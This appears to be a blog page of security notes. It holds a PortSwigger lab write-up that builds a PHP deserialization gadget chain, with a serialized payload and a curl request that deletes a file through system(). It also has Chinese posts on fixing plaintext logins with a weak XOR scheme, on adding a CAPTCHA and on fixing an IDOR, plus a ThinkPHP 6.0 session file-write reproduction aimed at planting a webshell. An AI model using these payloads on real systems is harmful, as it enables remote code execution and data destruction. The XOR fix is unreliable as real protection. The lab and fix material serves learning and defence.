bookmark_borderPHP Deserialization Lab: Developing a custom gadget chain for PHP deserialization

This lab is from here:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization

get leaked code:
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/cgi-bin/libs/CustomTemplate.php~

call_user_func exploit:

<?php

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

// Create the object with a dangerous callback
$map = new DefaultMap('system');

// (Optional) Trigger command immediately
$map->{'rm /home/carlos/morale.txt'};

?>

But we have to find a chain to run $map->{'rm /home/carlos/morale.txt'};

We can not direct invoke method, we can only modify variables.

Here is chains:

When the payload string is later passed to unserialize(), it triggers:

CustomTemplate->__wakeup() → build_product() → Product->__construct() → triggers $desc->$default_desc_type → __get() → exec("rm /home/carlos/morale.txt")

modify the property of $desc, from private to public:

<?php

class CustomTemplate {
    private $default_desc_type;
    public $desc; // ✅ Made public
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

// ✅ Create object without building the product
$customTemplate = new CustomTemplate("rm /home/carlos/morale.txt");

// ✅ Inject malicious desc object
$customTemplate->desc = new DefaultMap('system');

// ✅ Serialize it
$ser = serialize($customTemplate);
echo $ser;

?>
php ./php/1.php | base64 -w0
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ==

then url encode:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D

send:

curl --path-as-is -i -s -k -X 
GET' 
    -H 
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net' 
    -b 
session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D' 
    
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/cgi-bin/libs/CustomTemplate.php'

bookmark_border账号密码明文传输修复

需求
登录请求的账号密码是明文传输的,可能造成中间人抓取后重放。

实现:
思路

  1. 打开登录页面,页面包含一个token,然后利用token和用户输入的密码做异或运算。这个token存在服务器session中。
  2. 前端加密后传到服务器,服务器用session中的token对加密数据再做一次异或运算即得到密码明文
    3.中间人抓到密文的密码回放,由于token不一致,服务器解密失败。登录失败。

1.
登录表单配置token:

用4位随机数填充页面:

这样在打开登录页面时就生成了一个token:


  1. 在前端做异或运算

取到登录表单中的token , 若token长度小于密码,那token就再拼一次,知道token的长度大于密码的长度才能做异或运算。
然后把token和密码转成unicode的数字形式做异或运算,由于结果的字符很可能时不可读的,转成16进制传输。
服务端用同样的算法,先从session中取出正确的token,用相同的思路再次异或运算得出 密码。

至此,登录密码加密传输完成:

bookmark_border记一次网站验证码添加

需求

在登录页面加验证码功能

登录缺乏验证码保护

实现
思路:

  1. 搞清楚网站框架,调用框架在前台加验证码生成的模块
  2. 修改js,登录携带验证码,并使控制器正确处理验证码
  3. 登录失败刷新验证码

1.
根据simplewind判断是thinkcmf框架

根据目录结构,判断是CMFX框架,上网查了一下,很老的框架,上次更新都在2016年了。
然后基于thinkPHP 3.X的框架。
查阅官方文档https://www.thinkcmf.com/docs/cmfx/special/verifycode.html

grep命令找到登录页面:
themes\shop\Portal\login.html
在form表单添加一个验证码功能

修改public\assets\css\login.css 调节样式。

接下来添加验证码逻辑。

2.
找到点击登录的js
public\assets\js\login.js
取出form表单里的验证码,增加为控判断,不为空登录post请求就带着验证码发送

然后找到对应的Controller,通过请求地址得知,登录验证的逻辑应该在index相关的Controller的jmp_login()的方法中:

结合官方文档:

找到相关位置,先取出验证码,再通过框架接口判断验证码,错误返回错误信息:

自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:

JS中弹出返回的信息:

自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:


  1. 由于系统前端使用了jquery

直接通过jquery在登录失败后刷新验证码图片即可:

最后整个验证码功能基本完成:

bookmark_border记一次网站ID越权修复过程

1.ID遍历
某网站id可遍历,可越权查看别人的实验报告:

2.定位问题:
网站使用thinkCMF框架
通过index.php 定位到网站位于application目录下:

根据URL参数 的特征g=&m=index&a=jump_result&test_id=1533
定位到 test_id 应该位于 index 相关类的jump_result 方法
在Visual Code 用Ctrl Shift F检索application的jump_result 方法,快速定位到问题:

在查询test_id时没有校验身份:

Where条件仅使用test_id作为查询条件。

3.修复

增加身份校验:

$test = M('test')->where(array(['test_id'=>$test_id,'user_id'=>$data['user_id']]))->find();

同时查询test_id和当前用户的user_id即可。
再次尝试越权访问,已无法查看别人的成绩:

bookmark_borderThinkPHP6.0任意文件创建

安装php 7.1
安装Composer
https://getcomposer.org/Composer-Setup.exe
切换到你的WEB根目录下面并执行下面的命令:

PS C:\xampp\htdocs> composer create-project topthink/think tp60

确保tp60/composer.json中版本是6.0
开启Session(有些API应用不需要Session,默认关闭),编辑 tp60/app/middleware.php 取消 “
\think\middleware\SessionInit::class
“的注释。
去github下载6.0的源码,将压缩包中的framework-6.0.0\src,解压到 tp\vendor\topthink\framework\src
启动应用:

PS C:\xampp\htdocs> cd .\tp60\
PS C:\xampp\htdocs\tp60> php think run –host=0.0.0.0 –port=8080

访问8080端口确认可以访问。

根据网友们的分析和官方文档,需要在自己的应用中调用session函数才会触发session的保存。

这里假如这个应用是要操作Session的。
于是修改app目录下自带的应用,修改app/controller/index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        session('demo', $_GET['c']);
        //return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        return 'ThinkPHP V6.0.0';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}
这里的 $_GET['c'] 会作为 $data 参数写入以sessionid为名的文件里:

由于是data是用户输入,因此可以用来写shell.

写入文件:

修改PHPSESSION,可以做到把磁盘写爆。
至于怎么把webshell写到public目录下让我可以访问到,还没想好。

影响版本:
6.0
6.1
参考:
https://mochazz.github.io/2020/01/14/ThinkPHP6.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99/?utm_source=tuicool&utm_medium=referral#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://www.kancloud.cn/manual/thinkphp6_0/1037635